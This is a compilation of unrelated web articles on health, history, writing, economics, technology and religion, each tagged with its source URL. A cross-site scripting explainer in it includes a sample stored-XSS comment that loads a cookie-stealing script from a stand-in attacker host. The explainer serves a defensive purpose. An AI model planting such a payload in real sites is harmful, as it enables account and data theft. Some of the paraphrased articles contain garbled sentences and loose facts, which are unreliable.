has been given FDA approval to treat the heart-harming accumulation of faulty progerin. If your child has tight joints or hip issues, physical and occupational therapy can assist them in maintaining their mobility. stop the progression of heart disease, certain kids may undergo coronary bypass surgery or angioplasty. Children with progeria are more likely to become dehydrated, so they should drink a lot of water, especially when they're feeling under the weather or contagious. Smaller meals more frequently can also help them eat enough. Your youngster may feel less discomfort and be inspired to play and stay active by wearing cushioned shoes or inserts. an SPF of at least 15 on broad-spectrum sunscreen. Apply it again after every two hours, or sooner if your youngster is swimming or perspiring. ALSO READ: Premature Aging Disease In Adults A condition known as atherosclerosis, which hardens and decreases blood flow from blood vessels that deliver nutrients and oxygen to your body, is typically developed in children with progeria. Most progeria children pass away from heart attacks and strokes brought on by Progeria-like conditions like Wiedemann-Rautenstrauch syndrome and Werner syndrome are frequently inherited. Both of these uncommon illnesses contribute to accelerated aging and a shorter life span. Post a Comment

https://www.healthlifekit.com/2023/01/what-causes-progeria-in-pregnancy.html

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In the realm of historical mysteries, few artifacts hold as much intrigue and fascination as the Voynich Manuscript. Dating back to the early 15th century, this enigmatic book is cloaked in mystery, its pages filled with cryptic symbols and illustrations that defy comprehension. The Voynich Manuscript stands as a testament to the enduring allure of the unknown, its origins and purpose lost to the sands of time. Carbon-dated to the early 1400s, the manuscript is written in an unknown script and language, presenting a formidable challenge to scholars and cryptographers alike. Despite centuries of study and analysis, the meaning and purpose of the Voynich Manuscript remain stubbornly elusive. Its pages are adorned with intricate illustrations of plants, astronomical diagrams, and human figures, hinting at a wealth of knowledge waiting to be unlocked. Throughout history, countless scholars and codebreakers have attempted to decipher the secrets of the Voynich Manuscript, drawn by the promise of unraveling its mysteries. Yet, despite their efforts, the manuscript has steadfastly resisted all attempts at interpretation, its secrets tantalizingly out of reach. Theories abound regarding the origins and purpose of the Voynich Manuscript. Some suggest that it may be a pharmacopoeia, cataloging medicinal plants and their properties. Others propose that it could be a treatise on alchemy or astrology, offering insights into the esoteric knowledge of the medieval world. As the centuries pass, the Voynich Manuscript continues to captivate and confound, its enigmatic allure undiminished by the passage of time. It serves as a reminder of the boundless mysteries that still await discovery within the pages of history, inviting us to unlock its secrets and glimpse the wisdom of the past. While the Voynich Manuscript remains an unsolved puzzle, its existence stands as a testament to the enduring quest for knowledge and understanding that drives humanity forward. And perhaps, one day, the veil of mystery that surrounds this ancient tome will be lifted, revealing the secrets that lie hidden within its cryptic pages. Post a Comment

https://www.alalamychronicles.com.ng/2024/05/unlocking-enigma-of-voynich-manuscript.html

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importance of DNA Test What makes DNA so crucial? Simply said, DNA holds the instructions required for life. Our DNA contains instructions on how to build the proteins necessary for our growth, reproduction, and general health. Learn more about DNA's structure, functions, and significance by reading on. What really is DNA? Deoxyribonucleic acid, or DNA, is a genetic material. It has nucleotide building blocks, which are biological building blocks. For the majority of organisms in addition to humans, DNA is a crucially significant chemical. DNA houses our genes and hereditary material, which are what give us our individuality. What is the DNA's structure? A DNA molecule is created from a group of nucleotides. There are three components in each nucleotide: - a sugar - phosphorus group - a base of nitrogen The name of the sugar in DNA is 2-deoxyribose. The "backbone" of the DNA strand is made up of these sugar molecules that are in alternation with phosphate groups. In a nucleotide, each sugar is joined to a nitrogen base. Nitrogen bases come in four main varieties in DNA. They consist of: - adenine (A) - cytosine (C) - guanine (G) - thymine (T) A double helix is a 3-D structure that is made up of two DNA strands. When depicted, DNA resembles a spiral ladder, with the base pairs serving as the rungs and the legs being the sugar-phosphate backbones. It's also important to remember that the ends of each strand are free because eukaryotic cells' nuclei contain linear DNA. A prokaryotic cell's DNA takes the shape of a circle. What is DNA used for? The instructions required for an organism to develop, grow, and reproduce are encoded in its DNA. The series of nucleotide base pairs contains these instructions. DNA aids body growth Three bases at a time are read by your cells, which then produce the necessary proteins for growth and survival. A gene is the DNA sequence that contains the instructions needed to generate a protein. Protein building units known as amino acids are represented by each group of three bases. For instance, the base pairs T-G-G and G-G-C designate the amino acids tryptophan and glycine, respectively. T-A-A, T-A-G, and T-G-A are a few pairings that also denote the end of a protein sequence. This instructs the cell to stop incorporating new amino acids into the protein. Various combinations of amino acids can be found in proteins. Each protein in your body has a specific shape and function when put together in the right order. How does the DNA code translate into a protein? The two DNA strands first separated. The intermediate messenger molecule is then produced as a result of unique proteins in the nucleus reading the base pairs on a DNA strand. Using this method, the messenger molecule RNA is produced (mRNA). An further class of nucleic acid is mRNA. It moves beyond the nucleus and communicates with the cellular machinery responsible for producing proteins. The second phase involves the assembly of a protein amino acid by amino acid by specific cell components that read the message from the mRNA three base pairs at a time. The translation of this method is known. DNA in perfect health, diseases, and aging Your genome is made up of all of your DNA. It has about 3 billion bases, 20,000 genes, and 23 pairs of chromosomes. Your mother and father each contribute one-half of your DNA. This DNA originates from the sperm and egg, respectively. Only 1% of your genome is made up of genes. The remaining 99 percent regulates factors like how much, when, and how your body creates proteins. About this "non-coding" DNA, scientists continue to discover more and more. mutations and DNA damage Damage to the DNA code is possible. Each of our cells experiences tens of thousands of DNA damage events per day, according to estimates. Free radicals, UV radiation exposure, and mistakes in DNA replication are all potential causes of damage. Specialized proteins in your cells can find and fix various types of DNA damage. There are at least significant pathways for DNA repair. Mutations are enduring modifications to the DNA structure. The way the body makes proteins may be badly impacted by changes to the DNA code. Diseases may manifest if the protein isn't functioning properly. Cystic fibrosis and sickle cell anemia are two conditions that can be brought on by mutations in a single gene. Additionally, cancer can occur as a result of mutations. For instance, if the genes that code for proteins essential for cellular proliferation change, cells may expand and divide uncontrollably. Some cancer-causing mutations are inherited, while others are brought on by contact with carcinogens like tobacco smoke, chemicals, or UV radiation. But not every mutation is harmful. Some are benign, while others add to the diversity of our species. Polymorphisms are variations that affect at least 1 percent (Trusted Source) of the population. Hair and eye color are two examples of polymorphisms. Old age and DNA Undamaged DNA damage can build up with age, contributing to the aging process. Damage brought on by free radicals is something that may contribute significantly to the DNA harm brought on by aging. The aging process might not be adequately explained by just one damage mechanism, though. There could be additional elements at play. With this theory a reliable source cites evolution as the reason why DNA damage increases with age. When we are of reproductive age and have children, it is believed that DNA damage is repaired more faithfully. The mending process naturally slows down once we have finished our prime years for reproduction. Telomeres are another component of DNA that might be related to aging. Your chromosomal ends have structures called telomeres that contain repeating DNA sequences. They aid in preventing DNA damage, but they also get smaller with each DNA replication cycle. According to studies, telomere shortening occurs with aging. Telomere shortening can also be caused by certain lifestyle variables, including obesity, exposure to cigarette smoke, and psychological stress. Where can you find DNA? In our cells, DNA is present. Depending on the sort of cell, it may not be exactly where it is. Eukaryotic cells are found in many creatures, including humans. This implies that their cells have a membrane-bound nucleus as well as a number of other membrane-bound organelles. The nucleus is where DNA is found in eukaryotic cells. The mitochondria, which are organelles that are the powerhouses of the cell, also contain a little quantity of DNA. The body packs the DNA into the nucleus because there is a certain amount of space there. The packing process is divided into various parts. The finished products are the chromosome-like structures. Prokaryotic cells are the building blocks of organisms like bacteria. Organelles and a nucleus are absent from these cells. In prokaryotic cells, tightly wound DNA is found in the nucleoid, which is located in the center of the cell. How does cell division affect you? As part of normal growth and development, your body's cells divide. When this occurs, each new cell must contain a complete copy of the DNA. Your DNA needs to replicate in order to accomplish this. The two DNA strands separate as a result of this. Specialized cellular proteins then use each strand as a template to create a new DNA strand. Two double-stranded DNA molecules are produced during replication. Once division is complete, one set will be inserted into each new cell. We cannot develop, reproduce, or maintain good health without DNA. It includes the instructions required by your cells to generate proteins that impact several bodily activities and processes. As crucial as DNA is, damage or mutations can occasionally play a role in the emergence of disease. However, it's also crucial to keep in mind that mutations can be advantageous and increase our diversity. Post a Comment

https://www.healthlifekit.com/2023/01/why-dna-genetic-test-is-so-important.html

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Abstract: The study introduces a summary of a successful design and examination of wind turbines set on a car roof to absorb power from the kinetic energy (dynamic pressure), which is present in the air around the vehicles. The location of the object is based on aerodynamic considerations. Many different concepts of design were examined and assumed. NACA (National Advisory Committee for Aeronautics) ducts were analyzed and approved to propose an extra choice for turbine design and allocation. The results gained from the exams perform the feasibility for the effective absorption of energy from wind flow around a car. Literature review, which is based on the authoritative NACA reports proved the findings. Did you enjoy the offered summary? Someone has just said that he has never heard of the word “abstract”; this person has no idea how to write an abstract for a research paper. The abstract of any academic assignment contains the same elements. It is impossible to understand how to write a research paper worthy of professor’s attention without knowing how to deal with an abstract. The article is focused on the study tips, examples, and other things that help to answer the question, “How to write an abstract for a research paper?” Go on reading the professional recommendations. If you are running out of time, move directly to the page where every student can count on the professional academic help. How to Write an Abstract for a Research Paper? How to write an abstract for a research paper? (Find out how to write an outline for a research paper.) An abstract is one of the numerous academic/scientific project parts; the project is much bigger and more time-consuming compared to other academic homework assignments. An abstract is an opening word in any type of the discussed assignment. It sums up every section of the assignment: from the purposes & methods of observation to the literature review. An abstract is a complex summary. The assignment is hated by many students as it requires more than writing a text on the specified topic. Is it different from the ordinary essay? A regular high school/college essay on any topic does not require an answer to the question, “How to write abstract for a research paper.” The assignment, which tells to include a summary, involves working with stacks of articles, journals, books, online resources to hunt the “treasure” of the thoughts shared by other people. What does it remind of? I bet every student is envisioning various sources of information when hears the word ‘observation.’ You got it right! The problem with abstracts is associated with the necessity to plan the project’s structure before completing the text. The student must develop the abstract initially, but the rest of the assignment is absent. It makes the situation complicated. The smartest way out is to finish working on introduction, body paragraphs, and conclusion before moving to the stage of abstract development. With the famous saying of Saint-Exupery in mind, we move on: “In the planning stage of a book, don't plan the ending. It has to be earned by all that will go before it.” ― Rose Tremain From one side, the famous female author makes sense; from the other side, it is important to foresee the essay’s outro based on the plot development. We can say the same about how to write a research paper. How to Write a Research Paper: Parts of the Project To realize how to write a good abstract for a research paper, be ready that the project may contain much more sections. In the end, a conclusion will appear as the eighth, ninth, or even tenth paragraph instead of being number 5. The abstract is in its place: it always comes first. Keep in mind that an advanced project may contain the following sections: - Literature Review Not all professors demand things like literature review or appendices. Every professor requires an abstract to grade the student’s work at the highest possible level. Without an inspiring, informative abstract, do not expect that the teacher will read the project from cover to cover. It means the student will not get the highest grade. Stick to the steps below to discover how to write a good abstract for a research paper and smoothly move to the rest of the observational sections. How to Write a Good Abstract for a Research Paper: 6 Smart Tips We have covered the elements to consider when trying to find out how to write a research paper. The following recommendations help students deliver the top-quality abstracts: - Start working on the abstract once the rest of the task is completed. - Highlight the primary hypotheses and conclusions (recall Introduction/Conclusion). - Pick keywords and main phrases from the Methods part. - Define the main outcomes from the Results section (do not confuse the observation’s findings with the Discussion & Conclusion sections). - Arrange the sentences chosen in the previous stages into one paragraph in the following order: Introduction, Methods, Results, and Conclusions. - An abstract should not contain any new information. By finishing an abstract and opening paragraph with the thesis sentence, start developing the body paragraphs. Any questions left? The best way to find the top-level academic help is to contact online writing experts or view some free essay examples offered by their team.

https://collegepapers.co.uk/blog/how-to-write-abstract-for-research-paper

Education

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A creepy Mayan ballgame that turned dead people into the insides of rubber balls has fascinated researchers. "The ballgame", as scholars call it, is thought to be one of the most important religious and cultural aspects of Mayan society, which began shortly after the start of the last millennium around 250 AD. Although the rules of the game aren't known, scholars know that the game was played by two opposing teams on court shaped like the letter 'I', with a rubber ball, and is thought to have been a violent game, the Daily Beast reports. READ MORE: Babies that died almost 30 years ago married in bizarre wedding ceremony to 'bless' family Players would wear protective gear to prevent injury, especially as the game was played between stone walls, and some have even theorised the losers of the game were sacrificed at the end - although most researchers don't believe this was an integral, or even common, part of the game. It's likely, instead, that the people who died during the game were captives, or killed incidentally as the violent ballgame was played. Plenty of courts have been discovered in ancient Mayan cities, and the game was played from modern-day Arizona and New Mexico to as far south as Colombia, uniting huge parts of Central and South America. But a creepy discovery has led scholars to believe that "the ballgame" was far eerier than first thought. In 2020 a team, led by archaeologist Juan Yadeun Angulo of Mexico's National Institute of Anthropology and History, discovered crypt dating back more than 1000 years beneath a Pyramid in Toniná in Chiapas, Mexico - one of many pyramids likely from the sixth or seventh overlooking a central plaza, where two ball courts were located. Inside the crypt, the archaeologists discovered a maze of stairways and small chambers. The team found about 400 vessels there that had once contained materials such as charcoal, ash, plant roots and natural rubber. Angulo and his companions noticed that the materials that were kept there were similar to those needed for the vulcanisation - or hardening - of rubber, and they hypothesised that the ashes were the remains of cremated rulers. Angulo believes the ancient rulers were turned to ash and used as an ingredient in the balls, and that this "transformation of the body" allowed rulers to be immortalised in ball form. In the neighbouring site of Yaxchilán archaeologists discovered artwork carved onto sculptures there showing players throwing balls containing human captives, fuelling the theory that the balls contain human remains. Some scholars disagree with Angulo's theory, saying more research is needed to connect the balls used in the game with the ancient rulers' ashes.

https://www.dailystar.co.uk/news/weird-news/inside-creepy-ancient-mayan-sport-27795753

Sports

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What is cross site scripting (XSS) Cross site scripting (XSS) is a common attack vector that injects malicious code into a vulnerable web application. XSS differs from other web attack vectors (e.g., SQL injections), in that it does not directly target the application itself. Instead, the users of the web application are the ones at risk. A successful cross site scripting attack can have devastating consequences for an online business’s reputation and its relationship with its clients. Depending on the severity of the attack, user accounts may be compromised, Trojan horse programs activated and page content modified, misleading users into willingly surrendering their private data. Finally, session cookies could be revealed, enabling a perpetrator to impersonate valid users and abuse their private accounts. Cross site scripting attacks can be broken down into two types: stored and reflected. Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application. Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user’s browser. The script is embedded into a link, and is only activated once that link is clicked on. What is stored cross site scripting To successfully execute a stored XSS attack, a perpetrator has to locate a vulnerability in a web application and then inject malicious script into its server (e.g., via a comment field). One of the most frequent targets are websites that allow users to share content, including blogs, social networks, video sharing platforms and message boards. Every time the infected page is viewed, the malicious script is transmitted to the victim’s browser. Stored XSS attack example While browsing an e-commerce website, a perpetrator discovers a vulnerability that allows HTML tags to be embedded in the site’s comments section. The embedded tags become a permanent feature of the page, causing the browser to parse them with the rest of the source code every time the page is opened. The attacker adds the following comment: Great price for a great item! Read my review here <script src=”http://hackersite.com/authstealer.js”> </script>. Using the session cookie, the attacker can compromise the visitor’s account, granting him easy access to his personal information and credit card data. Meanwhile, the visitor, who may never have even scrolled down to the comments section, is not aware that the attack took place. Unlike a reflected attack, where the script is activated after a link is clicked, a stored attack only requires that the victim visit the compromised web page. This increases the reach of the attack, endangering all visitors no matter their level of vigilance. From the perpetrator’s standpoint, persistent XSS attacks are relatively harder to execute because of the difficulties in locating both a trafficked website and one with vulnerabilities that enables permanent script embedding. Stored XSS attack prevention/mitigation A web application firewall (WAF) is the most commonly used solution for protection from XSS and web application attacks. WAFs employ different methods to counter attack vectors. In the case of XSS, most will rely on signature based filtering to identify and block malicious requests. In accordance with industry best-practices, Imperva’s cloud web application firewall also employs signature filtering to counter cross site scripting attacks. Imperva cloud WAF is offered as a managed service, regularly maintained by a team of security experts who are constantly updating the security rule set with signatures of newly discovered attack vectors. Imperva crowdsourcing technology automatically collects and aggregates attack data from across its network, for the benefit of all customers. The crowdsourcing approach enables extremely rapid response to zero-day threats, protecting the entire user community against any new threat, as soon as a single attack attempt is identified. Crowdsourcing also enables the use of IP reputation system that blocks repeated offenders, including botnet resources which tend to be re-used by multiple perpetrators.

https://www.incapsula.com/web-application-security/cross-site-scripting-xss-attacks.html

Programming

en

When we think of ancient civilizations, the cradle of human society often comes to mind. Among these, Mesopotamia, known as the "land between rivers" (the Tigris and Euphrates), stands out for its groundbreaking contributions to human progress. One of the most intriguing advancements from this ancient land is the invention of ships, which played a crucial role in shaping Mesopotamian society and its enduring legacy. The Birthplace of Civilization and Innovation Mesopotamia, located in the region of modern-day Iraq, Syria, and Turkey, is widely considered one of the earliest cradles of civilization. Flourishing around 3500 BCE, this region was home to a host of significant advancements, including the development of writing, the wheel, and sophisticated agricultural practices. Among these innovations, the creation of ships stands as a testament to the ingenuity and resourcefulness of the Mesopotamian people. The Genesis of Mesopotamian Shipbuilding The earliest evidence of shipbuilding in Mesopotamia dates back to the Ubaid period (circa 6500 to 3800 BCE). Archaeological findings, including clay models of boats and depictions on cylinder seals, provide a glimpse into the maritime capabilities of this ancient civilization. These early boats were likely made from reeds, a material abundantly available in the marshlands of southern Mesopotamia. Reed boats, often reinforced with bitumen (a natural tar-like substance), were lightweight, buoyant, and ideal for navigating the rivers and canals that crisscrossed the region. The marshy landscape of southern Mesopotamia necessitated the use of watercraft for transportation, trade, and communication, laying the foundation for more advanced shipbuilding techniques. Advancements in Design and Construction As Mesopotamian society progressed, so did their shipbuilding techniques. By the time of the Sumerian civilization (circa 4500 to 1900 BCE), ship construction had evolved significantly. Sumerians began to build larger, more robust vessels using wooden planks. These ships were capable of transporting heavy loads, including agricultural produce, raw materials, and goods for trade. The design of these early ships varied depending on their intended use. Some were flat-bottomed for navigating shallow waters, while others had deeper hulls suitable for the open sea. The inclusion of sails, alongside the use of oars, marked a significant leap in maritime technology, allowing for more efficient and versatile navigation. The Role of Ships in Mesopotamian Society Ships were indispensable to the Mesopotamian way of life. The Tigris and Euphrates rivers served as vital arteries, facilitating trade and communication between city-states and with neighboring regions. Mesopotamian ships traveled as far as the Indus Valley, Oman, and the Persian Gulf, fostering a rich exchange of goods, ideas, and culture. Trade was not the only domain where ships proved crucial. They also played a role in military endeavors, with Mesopotamian rulers commissioning fleets for warfare and defense. Moreover, ships were integral to religious and ceremonial practices, symbolizing the journey between the earthly and the divine. Legacy and Impact The innovations in shipbuilding and navigation pioneered by the Mesopotamians had far-reaching implications. They set the stage for future advancements in maritime technology and influenced neighboring civilizations, including the Egyptians and Phoenicians. The ability to traverse waters efficiently catalyzed the spread of cultures, technologies, and civilizations across the ancient world. The invention of ships by the Mesopotamians is a remarkable chapter in the annals of human history. It underscores the inventive spirit of one of the world's earliest civilizations and highlights the profound impact of their contributions on subsequent societies. As we reflect on the origins of maritime travel, we owe a debt of gratitude to the ancient Mesopotamians, whose pioneering efforts continue to resonate through the ages. Exploring the depths of Mesopotamian history reveals a civilization that was not only the bedrock of modern society but also a beacon of human innovation. The ships that once sailed the Tigris and Euphrates rivers are a testament to the enduring legacy of Mesopotamian ingenuity and their quest to connect, explore, and thrive in an interconnected world. Post a Comment

https://www.alalamychronicles.com.ng/2024/05/the-invention-of-mesopotamian-ships.html

Culture

en

Inflation is rising around the world. In sub-Saharan Africa, one item is driving the trend more than others: food prices. Food accounts for roughly 40 percent of the region’s consumption basket—a measure of goods and services used to measure consumer price index (CPI) inflation. Food inflation increased throughout 2019, on average, across 25 countries in the region where monthly food price data are available. After remaining stable around 7–8 percent (year over year) since the beginning of the pandemic, food inflation started to rise again from April this year to some 10 percent in October. The chart below shows how food inflation is outpacing and contributing to the pick-up in overall consumer price inflation in sub-Saharan Africa, which rose to about 8 percent in October, up from around 5 percent in 2019. On a global scale, the recent increase in food inflation is attributed to rising oil prices (which raise fertilizer prices and transportation costs), droughts and export restrictions imposed by some major food exporters, and stockpiling in some countries. In addition, pandemic containment measures disrupted production and imports of seeds and fertilizers and caused labor shortages during planting seasons. Importantly, there is diversity across the region—food inflation in Chad is near zero but around 30 percent in Angola. This suggests that domestic factors such as weather and exchange rates are important contributors to food inflation in sub-Saharan African countries. The outlook is highly uncertain. Food inflation and CPI inflation could moderate if commodity prices ease and pandemic-induced global supply chain disruptions resolve. However, high food inflation could persist if inflation expectations become de-anchored or supply chain disruptions continue. Regionwide, average inflation is expected to edge up in 2021 before easing next year depending on commodity prices and the resolution of supply-demand mismatches. Higher food inflation would worsen the situation for the countries already facing food insecurity and shortages with a disproportional impact on poor households. The number of undernourished persons in the region is projected to have increased by 20 percent in 2020, encompassing 264 million people. Fighting food insecurity through targeted social assistance and insurance can help populations cope. Avoiding trade barriers and improving access to finance, seed stocks, insecticide, fertilizer, anti-erosion measures, and irrigation are also important.

https://brandspurng.com/2021/12/07/food-inflation-in-sub-saharan-africa/

Politics

en

John Seigenthaler criticised Wikipedia's reliability The free online resource Wikipedia is about as accurate on science as the Encyclopedia Britannica, a study shows. The British journal Nature examined a range of scientific entries on both works of reference and found few differences in accuracy. Wikipedia is produced by volunteers, who add entries and edit any page. But it has been criticised for the correctness of entries, most recently over the biography of prominent US journalist John Seigenthaler. Wikipedia was founded in 2001 and has since grown to more than 1.8 million articles in 200 languages. Some 800,000 entries are in English. It is based on wikis, open-source software which lets anyone fiddle with a webpage, anyone reading a subject entry can disagree, edit, add, delete, or replace the entry. It relies on 13,000 volunteer contributors, many of whom are experts in a particular field, to edit previously submitted articles. In order to test its reliability, Nature conducted a peer review of scientific entries on Wikipedia and the well-established Encyclopedia Britannica. The reviewers were asked to check for errors, but were not told about the source of the information. "Only eight serious errors, such as misinterpretations of important concepts, were detected in the pairs of articles reviewed, four from each encyclopedia," reported Nature. "But reviewers also found many factual errors, omissions or misleading statements: 162 and 123 in Wikipedia and Britannica, respectively." Wikipedia founder Jimmy Wales welcomed the study. "We're hoping it will focus people's attention on the overall level of our work, which is pretty good," he said. Nature said its reviewers found that Wikipedia entries were often poorly structured and confused. The Encyclopedia Britannica declined to comment directly on the findings; but a spokesman highlighted the quality of the entries on the free resource. "But it is not the case that errors creep in on an occasional basis or that a couple of articles are poorly written," Tom Panelas, director of corporate communications is quoted as saying in Nature. "There are lots of articles in that condition. They need a good editor." Wikipedia came under fire earlier this month from prominent US journalist John Seigenthaler. The founding editorial director of USA Today attacked a Wikipedia entry that incorrectly named him as a suspect in the assassinations of president John F Kennedy and his brother, Robert. The false information was the work of Tennessean Brian Chase, who said he was trying to trick a co-worker. Wikipedia has responded to the criticisms by tightening up procedures. Next month it plans to begin testing a new mechanism for reviewing the accuracy of its articles.

http://news.bbc.co.uk/1/hi/technology/4530930.stm

Politics

en

This is a demonstration of how Pydroid can be used to develop and test a Django application. Django is a web application framework written in Python that helps web developers to build websites faster and without much hassle. It can be of particular use while developing complex database driven websites. Pydroid is an easy to use and powerful Python IDE for Android. It has a lot of features to develop sophisticated python projects with ease. It also supports various libraries like PyQt5, Kivy, Jupyter, etc. It can be easily used to develop Django applications as well. In Django, whenever the webserver receives a request for a resource, the urlresolver is used to match the URL with a list of patterns. When it finds the matching pattern, it sends the request to the related function called view . The view performs the required business logic and generates a response, which Django sends to the web browser. Using the Code Terminal can be started by choosing the Terminal option in the menu in Pydroid as follows: The following command can be used to install Django after starting terminal in Pydroid: To create a project, you can enter the following command in the directory where you want to create the project: The following directories/files are created: The outer helloproj/ directory is the main container for the project, while the inner helloproj/ directory is the Python package for the project. The helloproj/urls contains the URLs for the project. To create an application, you can enter the following command after changing to the directory containing the manage.py file: This will create the following directories/files: Edit the helloapp/views.py file as follows: The above code is for a simple index view, which returns an HttpResponse The next step is to map this view to a URL. This can be done by creating the urls.py file in the helloapp directory as follows: After creating the urls.py file in the helloapp directory, the app directory will be as follows: The next step is to edit the root urls.py file (helloproj/urls.py) as follows: In the above code, the include() function is used to refer to the helloapp.urls file. Now you can run the server by the $ python manage.py runserver command as follows: After starting the browser and entering the url http://127.0.0.1:8000/helloapp/, it will show the following output: Points of Interest I hope readers find this article useful and interesting. - 5th May, 2020: Initial version

https://www.codeproject.com/Articles/5267107/Django-Development-on-Android-using-Pydroid

Programming

en

Mobile network generations refers to the different stages in the evolution of the mobile networks that we use on our smartphones. Every phone needs to make calls and connect to the internet. This is especially very important today as most services have gone digital and can now be found online. But it has not always been this way. It has been quite a journey, from the old (and painfully slow) analog radio networks to super-fast 5G. Understanding the different mobile network generations will show how far technology has come. Read: 4G LTE categories The Mobile network generations All network types used before the first generation of cellular networks are referred to as 0G. 0G means zero generation, implying that such networks do not have a generation. Some experts or writers also refer to them as pre-1G cellular networks. These networks could only support voice calls and were usually location restrictive, i.e. the phone could only use that network in a particular area e.g. your street, or only in one region. Roaming was not allowed. The call quality of these phones was terrible. The network was analog. The phones that could use this network were also very bulky. Some had to be built into very heavy suitcases before one could carry them around. Others were built into cars. A car phone was a huge symbol of prestige in those days. Examples of such networks are Motorola’s Mobile Telephone Systems (MTS), Improved Mobile Telephone Service (IMTS), Advanced Mobile Telephone Service (AMTS), RCC, etc. These networks were all used pre-1979. 1G (FIRST GENERATION) In 1979, NTT DoCoMo rolled out a new cellular network in Tokyo, Japan. Before long, a similar network to the one invented by NTT called the Nordic Mobile Telecoms was implemented in Nordic countries like Norway, Sweden, Finland, Switzerland, and even as far as Russia. The new 1G network could only support voice calls but it had a better call quality than the 0G networks. On the downside, however, the network was analog and needed antennas that were attached to the phone. Phone calls were also very insecure and easily tapped. Phone sizes were huge and consumed a lot of battery. Some of the best batteries of that era only lasted for 30 mins. 2G (SECOND GENERATION) In Finland, in 1991, a new network was developed and released for use by the public. This kickstarted the second generation of mobile networks. 2G brought us SMS, MMS, and a very rudimentary form of WAP internet. 2G networks were now digital and calls became secure. Speaking about calls, the quality of calls bettered what the 1G networks had to offer. Phones became smaller and consumed less battery. The 2G networks are CDMA, AMPS, GSM, and TDMA. 2.5G or GPRS which is represented on your phone with the symbol “G” is an improvement on the earlier 2G internet speeds. 2.75G or EDGE which is denoted as “E” on your phone is also a further revision of the 2G networks in 2003. It was meant to boost internet speeds as well. 3G (THIRD GENERATION) In 1998, NTT DoCoMo developed what they called the third generation of mobile networks. For some reason, however, it was not available to the public till 2001. There are two networks considered to be third-generation. They are WCDMA and UMTS. Now, while 3G networks did offer improved call quality over the 2G networks, its main focus was on improving internet speeds and connectivity. 3G brought with it video streaming and fast internet surfing. This is the era where mobile internet truly came of age. Two further revisions to the original 3G networks were made and they all focused on boosting internet speeds. They are 3.5G also known as HSPA (H) and 3.75G also known as HSPA+ (H+). 3G networks are still the main networks used in many third-world countries today. 4G (FOURTH GENERATION) As time went on and despite the revisions to the 3G networks, the speed was not enough. In 2006, in South Korea, an early form of 4G was launched called WiMax but it was restricted to the Asian country. The Western world did not adopt WiMax but quietly decided to work on their next-generation network. Finally in 2009, in the UK, Long Term Evolution (LTE) networks became available to the public. 4G LTE heralded online gaming, video conferencing, better call quality, and drastically reduced latency. Internet speeds were now really fast. Further revisions to the 4G networks include VOLTE (voice over long-term evolution) which improves the call quality even more and 4.5G (4G+). Read: 4G LTE Modems on Smartphones 5G (FIFTH GENERATION) The fifth generation became commercially available in 2019 and it is still underway in many first-world countries. At the moment, there is no 5G coverage in third-world countries. Huawei which was at the forefront of 5G development and rollout plans has become the biggest casualty of a trade war between the United States and China. There are two main types of 5G networks currently being rolled: Low and Mid band (Sub 6Ghz) High band (mmWave) mmWave 5G has the fastest data speeds known to man right now but the signal is weak and it does not cover a large area. If you are in a house, for example, the walls could obstruct the mmWave signal signals. It quickly improves when you go outside and have a direct line of sight with the mmWave 5G antennae. Sub 6Ghz is not as fast as mmWave but it has a wider coverage and better indoor reception. 5G will bring improved internet support for augmented reality as well as virtual reality, and remote control of smart devices over the internet such as surgeons performing surgeries from halfway across the world using smart equipment. 5G will also usher in the era of the Internet of Things. These are the different mobile network generations. This brings us to the end of this post, I hope you learned something. Please hit me up in the comment section. Till my next blog post, take care. Please leave a comment if you have any difficulty and remember to: - Subscribe to our YouTube channel - Follow on Facebook - Follow on WhatsApp - Join our Telegram community - Participate on Reddit - Find us on Quora Great write-up as always. I’ve been an ardent reader of your threads both here and on NL. On an off topic, I’ll like you to write an article on Screen on time(SOT). I believe it’s not a true measurement of a battery’s strength. My reason for this submission is this:- Using an app like AccuBattery, it’s recorded that I have close to 12-13 hrs of battery usage (might be more). The screen on time meanwhile says I’ve used it for 5hrs. I love listening to music with my Bluetooth earpiece so even when the screen is off, the phone is been used and data is always on. This with other reasons are why I believe the SOT shouldn’t be a benchmark to rate a phone’s battery strength. Do holla @me when/if the article is written. Apologies for the epistle! At this juncture, I completely understand and fully agree with you. Now, I like to approach these topics with an open mind so that bias doesn’t cloud my judgement while researching. It’s on the list of topics I had planned to write for next month. One research at a time. When I’m done, I’ll inform you ASAP. I’m not sure where you’re getting your information, but great topic. I needs to spend some time learning more or understanding more. Thanks for fantastic information I was looking for this info. This is timely.i was thinking of reading about this topic tomorrow Alright boss. Happy reading.

https://inquisitiveuniverse.com/2020/10/14/mobile-network-generations/

Phones

en

The Bible’s answer Yes, for although the Bible is not a science textbook, it is accurate when it mentions matters of science. Consider some examples showing that science and the Bible agree and that the Bible contains scientific facts that differed greatly from the beliefs of many people living at the time it was written. The universe had a beginning. (Genesis 1:1) In contrast, many ancient myths describe the universe, not as being created, but as being organized from existing chaos. The Babylonians believed that the gods that gave birth to the universe came from two oceans. Other legends say that the universe came from a giant egg. The universe is governed day-to-day by rational natural laws, not by the whims of deities. (Job 38:33; Jeremiah 33:25) Myths from around the world teach that humans are helpless before the unpredictable and sometimes merciless acts of the gods. The earth is suspended in empty space. (Job 26:7) Many ancient peoples believed that the world was a flat disk supported by a giant or an animal, such as a buffalo or a turtle. Rivers and springs are fed by water that has evaporated from the oceans and other sources and then has fallen back to earth as rain, snow, or hail. (Job 36:27, 28; Ecclesiastes 1:7; Isaiah 55:10; Amos 9:6) The ancient Greeks thought that rivers were fed by underground ocean water, and this idea persisted into the 18th century. The mountains rise and fall, and today’s mountains were once under the ocean. (Psalm 104:6, 8) In contrast, several myths say that the mountains were created in their current form by the gods. Sanitary practices protect health. The Law given to the nation of Israel included regulations for washing after touching a dead body, quarantining those with infectious disease, and disposing of human waste safely. (Leviticus 11:28; 13:1-5; Deuteronomy 23:13) By contrast, one of the Egyptian remedies in use when these commands were given called for applying to an open wound a mixture that included human excrement. Are there scientific errors in the Bible? A reasonable examination of the Bible shows the answer to be no. Here are some common misconceptions about the scientific accuracy of the Bible: Myth: The Bible says that the universe was created in six 24-hour days. Fact: According to the Bible, God created the universe in the indefinite past. (Genesis 1:1) Also, the days of creation described in chapter 1 of Genesis were epochs whose length is not specified. In fact, the entire period during which earth and heaven were made is also called a “day.”—Genesis 2:4. Myth: The Bible says that vegetation was created before the sun existed to support photosynthesis.—Genesis 1:11, 16. Fact: The Bible shows that the sun, one of the stars that make up “the heavens,” was created before vegetation. (Genesis 1:1) Diffused light from the sun 